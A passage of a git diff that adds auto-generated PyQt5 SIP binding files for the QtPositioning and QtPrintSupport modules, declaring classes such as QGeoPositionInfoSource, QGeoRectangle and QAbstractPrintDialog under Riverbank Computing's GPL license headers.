as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoPositionInfo +{ +%TypeHeaderCode +#include +%End + +public: + enum Attribute + { + Direction, + GroundSpeed, + VerticalSpeed, + MagneticVariation, + HorizontalAccuracy, + VerticalAccuracy, + }; + + QGeoPositionInfo(); + QGeoPositionInfo(const QGeoCoordinate &coordinate, const QDateTime &updateTime); + QGeoPositionInfo(const QGeoPositionInfo &other); + ~QGeoPositionInfo(); + bool operator==(const QGeoPositionInfo &other) const; + bool operator!=(const QGeoPositionInfo &other) const; + bool isValid() const; + void setTimestamp(const QDateTime ×tamp); + QDateTime timestamp() const; + void setCoordinate(const QGeoCoordinate &coordinate); + QGeoCoordinate coordinate() const; + void setAttribute(QGeoPositionInfo::Attribute attribute, qreal value); + qreal attribute(QGeoPositionInfo::Attribute attribute) const; + void removeAttribute(QGeoPositionInfo::Attribute attribute); + bool hasAttribute(QGeoPositionInfo::Attribute attribute) const; +}; + +%End +%If (Qt_5_2_0 -) +QDataStream &operator<<(QDataStream &stream, const QGeoPositionInfo &info /Constrained/); +%End +%If (Qt_5_2_0 -) +QDataStream &operator>>(QDataStream &stream, QGeoPositionInfo &info /Constrained/); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopositioninfosource.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopositioninfosource.sip new file mode 100644 index 00000000..0de4b84e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopositioninfosource.sip @@ -0,0 +1,129 @@ +// qgeopositioninfosource.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoPositionInfoSource : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QGeoPositionInfoSource, &sipType_QGeoPositionInfoSource, 3, 1}, + {sipName_QGeoSatelliteInfoSource, &sipType_QGeoSatelliteInfoSource, -1, 2}, + {sipName_QGeoAreaMonitorSource, &sipType_QGeoAreaMonitorSource, -1, -1}, + {sipName_QNmeaPositionInfoSource, &sipType_QNmeaPositionInfoSource, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum Error + { + AccessError, + ClosedError, + UnknownSourceError, + NoError, + }; + + enum PositioningMethod + { + NoPositioningMethods, + SatellitePositioningMethods, + NonSatellitePositioningMethods, + AllPositioningMethods, + }; + + typedef QFlags PositioningMethods; + explicit QGeoPositionInfoSource(QObject *parent /TransferThis/); + virtual ~QGeoPositionInfoSource(); + virtual void setUpdateInterval(int msec); + int updateInterval() const; + virtual void setPreferredPositioningMethods(QGeoPositionInfoSource::PositioningMethods methods); + QGeoPositionInfoSource::PositioningMethods preferredPositioningMethods() const; + virtual QGeoPositionInfo lastKnownPosition(bool fromSatellitePositioningMethodsOnly = false) const = 0; + virtual QGeoPositionInfoSource::PositioningMethods supportedPositioningMethods() const = 0; + virtual int minimumUpdateInterval() const = 0; + QString sourceName() const; + static QGeoPositionInfoSource *createDefaultSource(QObject *parent /TransferThis/) /Factory/; +%If (Qt_5_14_0 -) + static QGeoPositionInfoSource *createDefaultSource(const QVariantMap ¶meters, QObject *parent /TransferThis/) /Factory/; +%End + static QGeoPositionInfoSource *createSource(const QString &sourceName, QObject *parent /TransferThis/) /Factory/; +%If (Qt_5_14_0 -) + static QGeoPositionInfoSource *createSource(const QString &sourceName, const QVariantMap ¶meters, QObject *parent /TransferThis/) /Factory/; +%End + static QStringList availableSources(); + virtual QGeoPositionInfoSource::Error error() const = 0; + +public slots: + virtual void startUpdates() = 0; + virtual void stopUpdates() = 0; + virtual void requestUpdate(int timeout = 0) = 0; + +signals: + void positionUpdated(const QGeoPositionInfo &update); + void updateTimeout(); + void error(QGeoPositionInfoSource::Error); +%If (Qt_5_12_0 -) + void supportedPositioningMethodsChanged(); +%End + +public: +%If (Qt_5_14_0 -) + bool setBackendProperty(const QString &name, const QVariant &value); +%End +%If (Qt_5_14_0 -) + QVariant backendProperty(const QString &name) const; +%End + +private: + QGeoPositionInfoSource(const QGeoPositionInfoSource &); +}; + +%End +%If (Qt_5_2_0 -) +QFlags operator|(QGeoPositionInfoSource::PositioningMethod f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeorectangle.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeorectangle.sip new file mode 100644 index 00000000..f0f1acae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeorectangle.sip @@ -0,0 +1,72 @@ +// qgeorectangle.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoRectangle : QGeoShape +{ +%TypeHeaderCode +#include +%End + +public: + QGeoRectangle(); + QGeoRectangle(const QGeoCoordinate ¢er, double degreesWidth, double degreesHeight); + QGeoRectangle(const QGeoCoordinate &topLeft, const QGeoCoordinate &bottomRight); +%If (Qt_5_3_0 -) + QGeoRectangle(const QList &coordinates); +%End + QGeoRectangle(const QGeoRectangle &other); + QGeoRectangle(const QGeoShape &other); + ~QGeoRectangle(); + bool operator==(const QGeoRectangle &other) const; + bool operator!=(const QGeoRectangle &other) const; + void setTopLeft(const QGeoCoordinate &topLeft); + QGeoCoordinate topLeft() const; + void setTopRight(const QGeoCoordinate &topRight); + QGeoCoordinate topRight() const; + void setBottomLeft(const QGeoCoordinate &bottomLeft); + QGeoCoordinate bottomLeft() const; + void setBottomRight(const QGeoCoordinate &bottomRight); + QGeoCoordinate bottomRight() const; + void setCenter(const QGeoCoordinate ¢er); + QGeoCoordinate center() const; + void setWidth(double degreesWidth); + double width() const; + void setHeight(double degreesHeight); + double height() const; + bool contains(const QGeoRectangle &rectangle) const; + bool intersects(const QGeoRectangle &rectangle) const; + void translate(double degreesLatitude, double degreesLongitude); + QGeoRectangle translated(double degreesLatitude, double degreesLongitude) const; + QGeoRectangle united(const QGeoRectangle &rectangle) const; + QGeoRectangle &operator|=(const QGeoRectangle &rectangle); + QGeoRectangle operator|(const QGeoRectangle &rectangle) const; +%If (Qt_5_5_0 -) + QString toString() const; +%End +%If (Qt_5_9_0 -) + void extendRectangle(const QGeoCoordinate &coordinate); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeosatelliteinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeosatelliteinfo.sip new file mode 100644 index 00000000..4f792c97 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeosatelliteinfo.sip @@ -0,0 +1,68 @@ +// qgeosatelliteinfo.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoSatelliteInfo +{ +%TypeHeaderCode +#include +%End + +public: + enum Attribute + { + Elevation, + Azimuth, + }; + + enum SatelliteSystem + { + Undefined, + GPS, + GLONASS, + }; + + QGeoSatelliteInfo(); + QGeoSatelliteInfo(const QGeoSatelliteInfo &other); + ~QGeoSatelliteInfo(); + bool operator==(const QGeoSatelliteInfo &other) const; + bool operator!=(const QGeoSatelliteInfo &other) const; + void setSatelliteSystem(QGeoSatelliteInfo::SatelliteSystem system); + QGeoSatelliteInfo::SatelliteSystem satelliteSystem() const; + void setSatelliteIdentifier(int satId); + int satelliteIdentifier() const; + void setSignalStrength(int signalStrength); + int signalStrength() const; + void setAttribute(QGeoSatelliteInfo::Attribute attribute, qreal value); + qreal attribute(QGeoSatelliteInfo::Attribute attribute) const; + void removeAttribute(QGeoSatelliteInfo::Attribute attribute); + bool hasAttribute(QGeoSatelliteInfo::Attribute attribute) const; +}; + +%End +%If (Qt_5_2_0 -) +QDataStream &operator<<(QDataStream &stream, const QGeoSatelliteInfo &info /Constrained/); +%End +%If (Qt_5_2_0 -) +QDataStream &operator>>(QDataStream &stream, QGeoSatelliteInfo &info /Constrained/); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeosatelliteinfosource.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeosatelliteinfosource.sip new file mode 100644 index 00000000..4e8eac29 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeosatelliteinfosource.sip @@ -0,0 +1,72 @@ +// qgeosatelliteinfosource.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoSatelliteInfoSource : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + AccessError, + ClosedError, + NoError, + UnknownSourceError, + }; + + explicit QGeoSatelliteInfoSource(QObject *parent /TransferThis/); + virtual ~QGeoSatelliteInfoSource(); + static QGeoSatelliteInfoSource *createDefaultSource(QObject *parent /TransferThis/) /Factory/; +%If (Qt_5_14_0 -) + static QGeoSatelliteInfoSource *createDefaultSource(const QVariantMap ¶meters, QObject *parent /TransferThis/) /Factory/; +%End + static QGeoSatelliteInfoSource *createSource(const QString &sourceName, QObject *parent /TransferThis/) /Factory/; +%If (Qt_5_14_0 -) + static QGeoSatelliteInfoSource *createSource(const QString &sourceName, const QVariantMap ¶meters, QObject *parent /TransferThis/) /Factory/; +%End + static QStringList availableSources(); + QString sourceName() const; + virtual void setUpdateInterval(int msec); + int updateInterval() const; + virtual int minimumUpdateInterval() const = 0; + virtual QGeoSatelliteInfoSource::Error error() const = 0; + +public slots: + virtual void startUpdates() = 0; + virtual void stopUpdates() = 0; + virtual void requestUpdate(int timeout = 0) = 0; + +signals: + void satellitesInViewUpdated(const QList &satellites); + void satellitesInUseUpdated(const QList &satellites); + void requestTimeout(); + void error(QGeoSatelliteInfoSource::Error); + +private: + QGeoSatelliteInfoSource(const QGeoSatelliteInfoSource &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoshape.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoshape.sip new file mode 100644 index 00000000..fe82bc20 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoshape.sip @@ -0,0 +1,104 @@ +// qgeoshape.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoShape +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + switch (sipCpp->type()) + { + case QGeoShape::CircleType: + sipType = sipType_QGeoCircle; + break; + + case QGeoShape::RectangleType: + sipType = sipType_QGeoRectangle; + break; + + #if QT_VERSION >= 0x050900 + case QGeoShape::PathType: + sipType = sipType_QGeoPath; + break; + #endif + + #if QT_VERSION >= 0x050a00 + case QGeoShape::PolygonType: + sipType = sipType_QGeoPolygon; + break; + #endif + + + default: + sipType = 0; + } +%End + +public: + QGeoShape(); + QGeoShape(const QGeoShape &other); + ~QGeoShape(); + + enum ShapeType + { + UnknownType, + RectangleType, + CircleType, +%If (Qt_5_9_0 -) + PathType, +%End +%If (Qt_5_10_0 -) + PolygonType, +%End + }; + + QGeoShape::ShapeType type() const; + bool isValid() const; + bool isEmpty() const; + bool contains(const QGeoCoordinate &coordinate) const; + bool operator==(const QGeoShape &other) const; + bool operator!=(const QGeoShape &other) const; +%If (Qt_5_3_0 -) + void extendShape(const QGeoCoordinate &coordinate); +%End +%If (Qt_5_5_0 -) + QGeoCoordinate center() const; +%End +%If (Qt_5_5_0 -) + QString toString() const; +%End +%If (Qt_5_9_0 -) + QGeoRectangle boundingGeoRectangle() const; +%End +}; + +%End +%If (Qt_5_2_0 -) +QDataStream &operator<<(QDataStream &stream, const QGeoShape &shape /Constrained/); +%End +%If (Qt_5_2_0 -) +QDataStream &operator>>(QDataStream &stream, QGeoShape &shape /Constrained/); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qnmeapositioninfosource.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qnmeapositioninfosource.sip new file mode 100644 index 00000000..69852e9c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qnmeapositioninfosource.sip @@ -0,0 +1,66 @@ +// qnmeapositioninfosource.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QNmeaPositionInfoSource : QGeoPositionInfoSource +{ +%TypeHeaderCode +#include +%End + +public: + enum UpdateMode + { + RealTimeMode, + SimulationMode, + }; + + QNmeaPositionInfoSource(QNmeaPositionInfoSource::UpdateMode updateMode, QObject *parent /TransferThis/ = 0); + virtual ~QNmeaPositionInfoSource(); + QNmeaPositionInfoSource::UpdateMode updateMode() const; + void setDevice(QIODevice *source); + QIODevice *device() const; + virtual void setUpdateInterval(int msec); + virtual QGeoPositionInfo lastKnownPosition(bool fromSatellitePositioningMethodsOnly = false) const; + virtual QGeoPositionInfoSource::PositioningMethods supportedPositioningMethods() const; + virtual int minimumUpdateInterval() const; + virtual QGeoPositionInfoSource::Error error() const; + +public slots: + virtual void startUpdates(); + virtual void stopUpdates(); + virtual void requestUpdate(int timeout = 0); + +protected: + virtual bool parsePosInfoFromNmeaData(const char *data /Encoding="None"/, int size, QGeoPositionInfo *posInfo, bool *hasFix); + +public: +%If (Qt_5_3_0 -) + void setUserEquivalentRangeError(double uere); +%End +%If (Qt_5_3_0 -) + double userEquivalentRangeError() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/QtPrintSupport.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/QtPrintSupport.toml new file mode 100644 index 00000000..324cc7de --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/QtPrintSupport.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtPrintSupport. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/QtPrintSupportmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/QtPrintSupportmod.sip new file mode 100644 index 00000000..0a125b06 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/QtPrintSupportmod.sip @@ -0,0 +1,58 @@ +// QtPrintSupportmod.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtPrintSupport, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qabstractprintdialog.sip +%Include qpagesetupdialog.sip +%Include qprintdialog.sip +%Include qprintengine.sip +%Include qprinter.sip +%Include qprinterinfo.sip +%Include qprintpreviewdialog.sip +%Include qprintpreviewwidget.sip +%Include qpyprintsupport_qlist.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qabstractprintdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qabstractprintdialog.sip new file mode 100644 index 00000000..cfd1ab45 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qabstractprintdialog.sip @@ -0,0 +1,174 @@ +// qabstractprintdialog.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_Printer) + +class QAbstractPrintDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + #if defined(SIP_FEATURE_PyQt_PrintDialog) + {sipName_QPageSetupDialog, &sipType_QPageSetupDialog, -1, 1}, + #else + {0, 0, -1, 1}, + #endif + #if defined(SIP_FEATURE_PyQt_PrintPreviewWidget) + {sipName_QPrintPreviewWidget, &sipType_QPrintPreviewWidget, -1, 2}, + #else + {0, 0, -1, 2}, + #endif + #if defined(SIP_FEATURE_PyQt_PrintPreviewDialog) + {sipName_QPrintPreviewDialog, &sipType_QPrintPreviewDialog, -1, 3}, + #else + {0, 0, -1, 3}, + #endif + #if defined(SIP_FEATURE_PyQt_Printer) + {sipName_QAbstractPrintDialog, &sipType_QAbstractPrintDialog, 4, -1}, + #else + {0, 0, 4, -1}, + #endif + #if defined(SIP_FEATURE_PyQt_PrintDialog) + {sipName_QPrintDialog, &sipType_QPrintDialog, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum PrintRange + { + AllPages, + Selection, + PageRange, + CurrentPage, + }; + +%If (Py_v3) + + enum PrintDialogOption + { + None /PyName=None_/, + PrintToFile, + PrintSelection, + PrintPageRange, + PrintCollateCopies, + PrintShowPageSize, + PrintCurrentPage, + }; + +%End +%If (!Py_v3) +// Backward compatible PrintDialogOption for Python v2. +// Note that we have to duplicate the whole enum because MetaSIP doesn't +// support handwritten code in enum definitions. + +enum PrintDialogOption { + None, + None /PyName=None_/, + PrintToFile, + PrintSelection, + PrintPageRange, + PrintCollateCopies, + PrintShowPageSize, + PrintCurrentPage +}; +%End + typedef QFlags PrintDialogOptions; +%If (PyQt_PrintDialog) + QAbstractPrintDialog(QPrinter *printer, QWidget *parent /TransferThis/ = 0); + virtual ~QAbstractPrintDialog(); + virtual int exec() = 0 /PyName=exec_,ReleaseGIL/; +%If (Py_v3) + virtual int exec() = 0 /ReleaseGIL/; +%End + void setPrintRange(QAbstractPrintDialog::PrintRange range); + QAbstractPrintDialog::PrintRange printRange() const; + void setMinMax(int min, int max); + int minPage() const; + int maxPage() const; + void setFromTo(int fromPage, int toPage); + int fromPage() const; + int toPage() const; + QPrinter *printer() const; + void setOptionTabs(const QList &tabs); +%If (Qt_5_6_0 -) + void setEnabledOptions(QAbstractPrintDialog::PrintDialogOptions options); +%End +%If (Qt_5_6_0 -) + QAbstractPrintDialog::PrintDialogOptions enabledOptions() const; +%End + +private: + QAbstractPrintDialog(const QAbstractPrintDialog &); + +public: +%End // PyQt_PrintDialog +}; + +%End +%If (PyQt_Printer) +QFlags operator|(QAbstractPrintDialog::PrintDialogOption f1, QFlags f2); +%End + +%ModuleHeaderCode +// Imports from QtCore. +typedef sipErrorState (*pyqt5_qtprintsupport_get_connection_parts_t)(PyObject *, QObject *, const char *, bool, QObject **, QByteArray &); +extern pyqt5_qtprintsupport_get_connection_parts_t pyqt5_qtprintsupport_get_connection_parts; +%End + +%ModuleCode +// Imports from QtCore. +pyqt5_qtprintsupport_get_connection_parts_t pyqt5_qtprintsupport_get_connection_parts; +%End + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qtprintsupport_get_connection_parts = (pyqt5_qtprintsupport_get_connection_parts_t)sipImportSymbol("pyqt5_get_connection_parts"); +Q_ASSERT(pyqt5_qtprintsupport_get_connection_parts); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qpagesetupdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qpagesetupdialog.sip new file mode 100644 index 00000000..24322b09 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qpagesetupdialog.sip @@ -0,0 +1,86 @@ +// qpagesetupdialog.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_PrintDialog) + +class QPageSetupDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + QPageSetupDialog(QPrinter *printer, QWidget *parent /TransferThis/ = 0); + explicit QPageSetupDialog(QWidget *parent /TransferThis/ = 0); + virtual ~QPageSetupDialog(); + virtual void setVisible(bool visible); + virtual int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%MethodCode + // Transfer ownership back to Python (a modal dialog will probably have the + // main window as it's parent). This means the Qt dialog will be deleted when + // the Python wrapper is garbage collected. Although this is a little + // inconsistent, it saves having to code it explicitly to avoid the memory + // leak. + sipTransferBack(sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipRes = sipSelfWasArg ? sipCpp->QPageSetupDialog::exec() + : sipCpp->exec(); + Py_END_ALLOW_THREADS +%End + + virtual int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%MethodCode + // Transfer ownership back to Python (a modal dialog will probably have the + // main window as it's parent). This means the Qt dialog will be deleted when + // the Python wrapper is garbage collected. Although this is a little + // inconsistent, it saves having to code it explicitly to avoid the memory + // leak. + sipTransferBack(sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipRes = sipSelfWasArg ? sipCpp->QPageSetupDialog::exec() + : sipCpp->exec(); + Py_END_ALLOW_THREADS +%End + + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtprintsupport_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + virtual void done(int result); + QPrinter *printer(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintdialog.sip new file mode 100644 index 00000000..c3916760 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintdialog.sip @@ -0,0 +1,97 @@ +// qprintdialog.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_PrintDialog) + +class QPrintDialog : QAbstractPrintDialog +{ +%TypeHeaderCode 